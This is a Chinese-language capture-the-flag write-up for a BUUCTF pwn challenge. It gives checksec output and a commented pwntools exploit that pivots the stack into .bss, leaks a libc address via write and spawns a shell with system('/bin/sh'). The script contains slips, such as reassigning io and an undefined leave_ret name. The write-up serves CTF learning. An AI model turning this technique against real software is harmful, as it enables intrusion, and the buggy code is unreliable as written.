『BUUCTF』:PWN | [Black Watch 入群题]PWN 1
checksec检查防护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
尝试运行一下:
1 Hello good Ctfer! 2 What is your name? >aaa 3 What do you want to say? >bbb 4 GoodBye!
IDA静态分析:
main:
exp:
1 #coding=utf-8 2 from pwn import * 3 from LibcSearcher import * 4 5 io = process('./spwn') 6 elf = ELF('./spwn') 7 8 bss_s = 0x0804A300 #将fake栈迁移到bss中 9 leave_ret_addr = 0x08048408 #栈迁移所需要的的地址 10 write_plt = elf.plt['write'] #plt表可以调用write函数 11 write_got = elf.got['write'] #got表里有write函数的真实地址 12 main_addr = elf.symbols['main'] #控制函数执行流需要再次回到主函数 13 14 payload = p32(write_plt) #需要打印出write的真实地址查出 15 payload += p32(main_addr) #执行write函数后需要将程序再次返回到主函数上 16 payload += p32(1) #write函数的3个参数,1是第三个参数 17 payload += p32(write_got) 18 payload += p32(4) 19 20 io = recvuntil("What is your name?") 21 io.send(payload) 22 #上面将一些执行流程写入了bss段,接下来的写入的buf在栈上,所以可以控制程序执行到bss段 23 24 payload2 = 'a'*0x18 #这个payload是写到栈上进行栈迁移的,所以先填充到ebp之前 25 payload2 += p32(bss_s - 4) #因为有pop ebp的缘故,会是的栈顶指针esp - 4,将ebp覆盖为想要调整到的位置-4 26 payload2 += p32(leave_ret_addr) #栈迁移需要leave_ret 27 io.recvuntil("What do you want to say?") 28 io.send(payload2) 29 #顺利的话,进过这里的栈迁移,会执行我们之前在bss上写好的执行流,将write的真实地址泄露出来。 30 31 write_real_addr = u32(io.recv(4)) #接收泄露的地址 32 libc = LibcSearcher('write',write_real_addr) #这个libcsearcher函数可以根据泄露的地址找到相应的libc版本 33 libc_base = write_real_addr - libc.dump('write') #获取到偏移量 34 system_addr = libc_base + libc.dump('system') #通过我们获取到的偏移量和system在libc中的地址可以的到system在程序中的真实地址 35 36 #第一次执行得到system函数地址后接下来会再次执行main函数,我们需要在这次有system函数的情况下再次进行相同的栈迁移执行system('/bin/sh\x00') 37 io.recv() 38 payload3 = p32(system_addr) #fake栈执行函数 39 payload3 += 'rrrr' #返回地址 40 payload3 += p32(bss_s+0x0c) #程序没有现成system的参数,将参数写在后面,只需要知道bss_s的地址和偏移即可 41 payload3 += '/bin/sh\x00' #参数存放的地方 42 io.send(payload3) 43 44 io.recvuntil("say?") 45 payload4 = 'a'*0x18 + p32(bss_s - 4) + p32(leave_ret) #溢出并迁移栈 46 io.send(payload4) 47 48 io.interactive()
d=DynELF(leak, ptr) system_addr = d.lookup('system', 'libc')